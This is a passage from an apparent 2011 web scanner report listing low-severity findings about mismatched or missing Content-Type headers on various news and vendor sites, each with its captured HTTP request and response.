The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /lib/includes/components/flush/gamedownloads_rightrail_data.cfm HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html; charset=UTF-8
Pragma: im n ur heders, makin u cach
Vary: Accept-Encoding
Accept-Ranges: bytes
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:30:24 GMT
Age: 81
Content-Length: 7662

   var bestGamesList = [
               {
                   "id":"1827",
                   "gameName":"Call of Duty World at War",
                   "gamePrice":"$19.95",
                   "gameBoxArt":"http://img.metaboli.fr/products/CoD_World_at_War/us/boxsho
...[SNIP]...

20.14. http://www.genuinewin7.com/css/default_2011.css previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.genuinewin7.com
Path:	/css/default_2011.css

Issue detail

The response contains the following Content-type statement:

Content-Type: text/css

The response states that it contains CSS. However, it actually appears to contain unrecognised content.

Request

GET /css/default_2011.css HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/

Response

HTTP/1.1 200 OK
Content-Length: 15652
Content-Type: text/css
Last-Modified: Mon, 19 Sep 2011 10:02:11 GMT
Accept-Ranges: bytes
ETag: "6a44de32b376cc1:a59"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 21 Sep 2011 15:34:54 GMT

..#.p.c.p.a.g.e.{.m.a.r.g.i.n.:. .0. .a.u.t.o.;. .w.i.d.t.h.:.1.0.0.0.p.x.;.}..
.#.s.o.n.y._.b.a.n.n.e.r.s.{.w.i.d.t.h.:.8.0.0.p.x.;.m.a.r.g.i.n.:.0. .0. .0. .1.0.1.p.x.;.p.o.s.i.t.i.o.n.:.r.e.l.a.t.
...[SNIP]...

20.15. http://www.genuinewin7.com/js/ExternalJS-default.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.genuinewin7.com
Path:	/js/ExternalJS-default.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /js/ExternalJS-default.js HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/

Response

HTTP/1.1 200 OK
Content-Length: 1263
Content-Type: application/x-javascript
Last-Modified: Sat, 03 Sep 2011 11:23:05 GMT
Accept-Ranges: bytes
ETag: "556aed92b6acc1:a59"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 21 Sep 2011 15:34:54 GMT

.../**
* ...............
*/
function shareRenren(videoUrl, title)
{
var strRenrenShare = 'http://share.renren.com/share/buttonshare.do?link='+'http://www.microsoft.com/china/genuinewin7/defaul
...[SNIP]...

20.16. http://www.genuinewin7.com/js/pop.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.genuinewin7.com
Path:	/js/pop.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /js/pop.js HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/win7-activities.aspx
Cookie: uid=56999891_1316636622599; ctpath=; referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; campaignid=369; WT_FPC=id=27aab3ee2244904c44a1316683422666:lv=1316684195231:ss=1316683422666; WT_NVR=0=/

Response

HTTP/1.1 200 OK
Content-Length: 14516
Content-Type: application/x-javascript
Last-Modified: Thu, 09 Jun 2011 09:23:14 GMT
Accept-Ranges: bytes
ETag: "d6537dc8626cc1:a59"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 21 Sep 2011 15:35:50 GMT

...var pop ={
call_iframe : 'call_iframe',
call_ajax : 'call_ajax',
call_content : 'call_content',
call_img : 'call_img',
call_wmv : 'call_wmv',
defaultWidth : 500,

...[SNIP]...

20.17. http://www.genuinewin7.com/js/share.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.genuinewin7.com
Path:	/js/share.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /js/share.js HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/

Response

HTTP/1.1 200 OK
Content-Length: 2860
Content-Type: application/x-javascript
Last-Modified: Fri, 02 Sep 2011 15:17:21 GMT
Accept-Ranges: bytes
ETag: "ecd5e698369cc1:a59"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 21 Sep 2011 15:34:54 GMT

...
function getQueryString(name) {
if (location.href.indexOf("?") == -1 || location.href.indexOf(name + '=') == -1) {
return '............';
}
var querySt
...[SNIP]...

20.18. http://www.genuinewin7.com/js/why-win7.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.genuinewin7.com
Path:	/js/why-win7.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /js/why-win7.js HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/safety.aspx?WT.page_from=nav
Cookie: uid=56999891_1316636622599; ctpath=; referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; campaignid=369; WT_FPC=id=27aab3ee2244904c44a1316683422666:lv=1316683434805:ss=1316683422666; WT_NVR=0=/

Response

HTTP/1.1 200 OK
Content-Length: 1464
Content-Type: application/x-javascript
Last-Modified: Thu, 09 Jun 2011 09:23:14 GMT
Accept-Ranges: bytes
ETag: "bd3034dc8626cc1:a59"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 21 Sep 2011 15:35:11 GMT

...function getQueryString(name) {
if (location.href.indexOf("?") == -1 || location.href.indexOf(name + '=') == -1) {
return '............';
}
var queryString =
...[SNIP]...

20.19. http://www.google.com/ig/cp/get previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.google.com
Path:	/ig/cp/get

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript; charset=UTF-8

The response states that it contains script. However, it actually appears to contain plain text.

Request

Response

20.20. http://www.idgconnect.com/javascripts/connect.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.idgconnect.com
Path:	/javascripts/connect.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /javascripts/connect.js?1303982389 HTTP/1.1
Host: www.idgconnect.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idgconnect.com/
Cookie: region_from=idgconnect; logged_in=false; _Kreatio_session=BAh7Bzoec3Vic2NyaWJlcl9pbnN0aXR1dGlvbl9pZDAiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA%3D--51fe9c99e72f0302d9875504c4a2c2bf9e6fbe15

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:30:33 GMT
Server: Apache/2.2.12 (Ubuntu)
Last-Modified: Thu, 28 Apr 2011 09:19:49 GMT
Accept-Ranges: bytes
Cache-Control: max-age=302881755
Expires: Sun, 25 Apr 2021 09:19:49 GMT
Vary: Accept-Encoding,User-Agent
Content-Length: 7364
Content-Type: application/javascript

/* Script for removing last elements border and background image */
$(function(){
$(".list_block h2:last-child .two_block_section,.list_block h2:last-child,.two_block_section .inner_block_left:l
...[SNIP]...

20.21. http://www.infoworld.com/sites/default/files/ifw_favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.infoworld.com
Path:	/sites/default/files/ifw_favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /sites/default/files/ifw_favicon.ico HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: mobify=0

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:30:58 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 13 Feb 2009 21:18:57 GMT
Accept-Ranges: bytes
Cteonnt-Length: 894
Expires: Mon, 03 Oct 2011 19:30:58 GMT
Cneonction: close
Content-Type: text/plain; charset=UTF-8
Cache-Control: private
Content-Length: 894

..............h.......(....... .............................../5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5./5.-4..4.-4.-4..4....................../6./6.
...[SNIP]...

20.22. http://www.itworld.com/kickapps/isfollowing-comments/204223 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.itworld.com
Path:	/kickapps/isfollowing-comments/204223

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain JSON.

Request

Response

20.23. http://www.law.com/img/law_10/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.law.com
Path:	/img/law_10/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /img/law_10/favicon.ico HTTP/1.1
Host: www.law.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_pers=%20s_ev46_channel%3D%255B%255B'Referrers'%252C'1316482104111'%255D%255D%7C1474334904111%3B%20s_nr%3D1316482104112-New%7C1319074104112%3B%20s_vnum%3D1317445200114%2526vn%253D1%7C1317445200114%3B%20s_invisit%3Dtrue%7C1316483904114%3B%20s_dayslastvisit%3D1316482104116%7C1411090104116%3B%20s_dayslastvisit_s%3DFirst%2520Visit%7C1316483904116%3B; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20c_m%3Dundefinedwww.goclio.comwww.goclio.com%3B%20s_sq%3D%3B; s_vi=[CS]v1|273BD2D4051D29B7-6000012AC03AB950[CE]; IASeenOnLTN=already%20seen; _bizo_cksm_crc32=30EB60A1

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 18 Oct 2010 03:07:45 GMT
ETag: "15aab39-47e-492db7af1c240"
Accept-Ranges: bytes
Content-Length: 1150
Content-Type: text/plain; charset=UTF-8
New_Hostname: /img/law_10/favicon.ico@
New_Hostname: /img/law_10/favicon.ico@
New_Hostname: /img/law_10/favicon.ico@
New_Hostname: /img/law_10/favicon.ico@
Date: Mon, 19 Sep 2011 20:27:31 GMT
Connection: close

............ .h.......(....... ..... .........................rrr.........................................................rrr...........................................................................
...[SNIP]...

20.24. http://www.mach-ii.com/img/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.mach-ii.com
Path:	/img/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /img/favicon.ico HTTP/1.1
Host: www.mach-ii.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=24920; CFTOKEN=D81379F7%2DF3E6%2D45EB%2DB149A8034C5E5091; __utma=13668395.325409023.1316462950.1316462950.1316462950.1; __utmb=13668395.1.10.1316462950; __utmc=13668395; __utmz=13668395.1316462950.1.1.utmcsr=coldspringframework.org|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 16:02:20 GMT
Server: Apache
Last-Modified: Mon, 02 Aug 2010 23:39:00 GMT
Accept-Ranges: bytes
Content-Length: 3638
Cache-Control: max-age=0
Expires: Mon, 19 Sep 2011 16:02:20 GMT
Connection: close
Content-Type: text/plain; charset=UTF-8

..............h...&... ..............(....... ...........@............................F..........FY......Rs...9..1Z..et...*..........j....$..v....I......@k..a}..(W...?.......*......Pa...O...,...?....
...[SNIP]...

20.25. http://www.model-glue.com/images/top_bg.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.model-glue.com
Path:	/images/top_bg.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /images/top_bg.gif HTTP/1.1
Host: www.model-glue.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.model-glue.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=4602467; CFTOKEN=62076526; JSESSIONID=e630c57368fc61547290185d303642714e41

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:07:39 GMT
Server: Apache/2.2.11 (Win32) mod_ssl/2.2.11 OpenSSL/0.9.8i JRun/4.0 PHP/5.3.1
Accept-Ranges: bytes
Content-Length: 689
Expires: Fri, 21 Dec 2012 00:00:00 GMT
Cache-Control: public, no-transform
Content-Type: image/gif

.PNG
.
...IHDR......._.....@.......gAMA.....OX2....tEXtSoftware.Adobe ImageReadyq.e<...CIDATx..S[.. .........."U.Y..'.b*.g.j.Z.f.|.l8.V..L$..g<......7lyU[..&*.Gu+kq....j....a.kR...gJK.:..X.-.q....
...[SNIP]...

20.26. http://www.model-glue.com/js/sm-iepng.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.model-glue.com
Path:	/js/sm-iepng.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /js/sm-iepng.js HTTP/1.1
Host: www.model-glue.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.model-glue.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=4602467; CFTOKEN=62076526; JSESSIONID=e630c57368fc61547290185d303642714e41

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:07:39 GMT
Server: Apache/2.2.11 (Win32) mod_ssl/2.2.11 OpenSSL/0.9.8i JRun/4.0 PHP/5.3.1
Accept-Ranges: bytes
Vary: Accept-Encoding
Expires: Fri, 21 Dec 2012 00:00:00 GMT
Cache-Control: public, no-transform
Content-Length: 1257
Content-Type: application/javascript

// sm-iepng.js - IE PNG Alpha Fix - Copyright (c) 2006 ScriptingMagic.com

eval((function(){var a="..Oof .=.un_fed.#.{}}.=.#};(.#.!.all||..@a9.a=parseFloZ(navigZor.V@K.MSIE (.d.*)/)[1]..(a.5.5)||(a>=
...[SNIP]...

20.27. http://www.mtholyoke.edu/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.mtholyoke.edu
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.3.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 16:42:50 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Tue, 10 Feb 2009 19:28:14 GMT
ETag: "21a01fa-13e-462957d056f80"
Accept-Ranges: bytes
Content-Length: 318
Content-Type: text/plain

..............(.......(....... .......................................................................................................................... . .....!.... . .."" . .... . .... . ....
...[SNIP]...

20.28. http://www.nationaldentalreviews.org/Handlers/ImageDisplay.ashx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.nationaldentalreviews.org
Path:	/Handlers/ImageDisplay.ashx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain a JPEG image.

Request

Response

20.29. http://www.reismancarolla.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.reismancarolla.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.reismancarolla.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:25:14 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Tue, 13 Oct 2009 05:53:20 GMT
ETag: "910000a-57e-a9d51400"
Accept-Ranges: bytes
Content-Length: 1406
Connection: close
Content-Type: text/plain

..............h.......(....... .......................................seI...w.....pdX......E.....tjX...H.wjX..s4.............yr^.pUG.....rL.......o..v=..........t@......................}I.]JB..~C...
...[SNIP]...

20.30. http://www.simplyhired.com/a/catalog/keywords previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/catalog/keywords

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

20.31. http://www.simplyhired.com/a/facebook/metrics previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/facebook/metrics

Issue detail

The response contains the following Content-type statement:

Content-Type: application/json

The response states that it contains JSON. However, it actually appears to contain plain text.

Request

Response

20.32. http://www.simplyhired.com/a/facebook/status previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/facebook/status

Issue detail

The response contains the following Content-type statement:

Content-Type: application/json

The response states that it contains JSON. However, it actually appears to contain plain text.

Request

Response

20.33. http://www.stumbleupon.com/services/1.1/badge.getinfo previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.stumbleupon.com
Path:	/services/1.1/badge.getinfo

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=iso-8859-1

The response states that it contains plain text. However, it actually appears to contain CSS.

Request

GET /services/1.1/badge.getinfo?url=http%3A%2F%2Fwww.itworld.com%2Fpersonal-tech%2F133627%2Fsimple-cheap-apps-keep-your-secrets-online&format=jsonp&callback=gig_pc_stumbleupon_1316477808809_47834690687794224 HTTP/1.1
Host: www.stumbleupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html
Cookie: __utma=189632489.55089046.1312580995.1312580995.1312580995.1; __utmz=189632489.1312580995.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __utmv=189632489.|1=user_class=v=1; scorecardresearch=356322536-1231380247-1312580995678; su_bc=3

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Vary: Accept-Encoding
Content-Type: text/plain; charset=iso-8859-1
Content-Length: 220
Date: Mon, 19 Sep 2011 19:15:48 GMT
Age: 0
Via: 1.1 varnish
Connection: keep-alive

gig_pc_stumbleupon_1316477808809_47834690687794224({"result":{"url":"http:\/\/www.itworld.com\/personal-tech\/133627\/simple-cheap-apps-keep-your-secrets-online","in_index":false},"timestamp":13164597
...[SNIP]...

20.34. http://www.zdnet.fr/blogs/i/img/551888_65x68.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.zdnet.fr
Path:	/blogs/i/img/551888_65x68.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a JPEG image.

Request

GET /blogs/i/img/551888_65x68.png HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:15:56 GMT
Server: Apache
Last-Modified: Mon, 21 Feb 2011 14:09:48 GMT
ETag: "5da976a-12f7-49ccb6a9fe300"
Accept-Ranges: bytes
Content-Length: 4855
Cache-Control: max-age=31536000
Expires: Tue, 18 Sep 2012 19:15:56 GMT
Content-Type: image/png

......JFIF.....^.^.....C....................................................................C.......................................................................D.A.."..............................
...[SNIP]...

20.35. http://www9.effectivemeasure.net/v4/em_js previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www9.effectivemeasure.net
Path:	/v4/em_js

Issue detail

The response contains the following Content-type statement:

Content-type: text/javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /v4/em_js?flag=0&v=&vt=&hl=&sv=0&pv=&pn=&p=aHR0cDovL3d3dy5saWZlaGFja2VyLmNvbS5hdS8%3D&r=aHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZQ%3D%3D&f=0&ns=_em&rnd=0.1121701293131997&u=&sf=1& HTTP/1.1
Host: www9.effectivemeasure.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.lifehacker.com.au/
Cookie: vt=ffe99914f4871625e919d928fce04e4bf6a560aa60-428426584e4bf6c5

Response

HTTP/1.1 200 OK
P3P: policyref="http://www.effectivemeasure.net/w3c/p3p.xml", CP="NOI DSP COR NID PSA ADM OUR IND UNI NAV COM"
Pragma: no-cache
Cache-Control: no-cache
Cache-Control: no-cache, must-revalidate
Pragma-directive: no-cache
Cache-Directive: no-cache
Expires: 0
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Set-Cookie: vt=153c119336ee7dc00cb9d928fce04e4bf6a560aa60-428426584e7795a8; expires=Thu, 13-Sep-2012 19:19:04 GMT; path=/; domain=.effectivemeasure.net
Set-Cookie: v=4b68f8432d2af1cfddf0a552d1ee4e77951862c3f1-255644014e7795a89_73; expires=Mon, 19-Sep-2011 19:49:04 GMT; path=/; domain=.effectivemeasure.net
Content-type: text/javascript
Connection: close
Content-Length: 181
Date: Mon, 19 Sep 2011 19:19:04 GMT
Server: C11

_em._domain="lifehacker.com.au";_em.setCkVt("153c119336ee7dc00cb9d928fce04e4bf6a560aa60-428426584e7795a8");_em.setCkV("4b68f8432d2af1cfddf0a552d1ee4e77951862c3f1-255644014e7795a8");

21. Content type is not specified previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.idc.com
Path:	/favicon.ico

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: www.idc.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=8EF57D76B538FC3E0E28BE3793711BD9; CP=null*; __utma=237430744.1932479547.1316478703.1316478703.1316478703.1; __utmb=237430744.1.10.1316478703; __utmc=237430744; __utmz=237430744.1316478703.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:781-TPG-055&token:_mch-idc.com-1316478703854-98753; hubspotdt=2011-09-19%2015%3A30%3A33; hubspotutk=acefab11313e4055b0b46988b2299dec; hubspotvd=acefab11313e4055b0b46988b2299dec; hubspotvw=acefab11313e4055b0b46988b2299dec; hubspotvm=acefab11313e4055b0b46988b2299dec; hsfirstvisit=http%3A%2F%2Fwww.idc.com%2F|http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue|2011-09-19%2015%3A30%3A33

Response

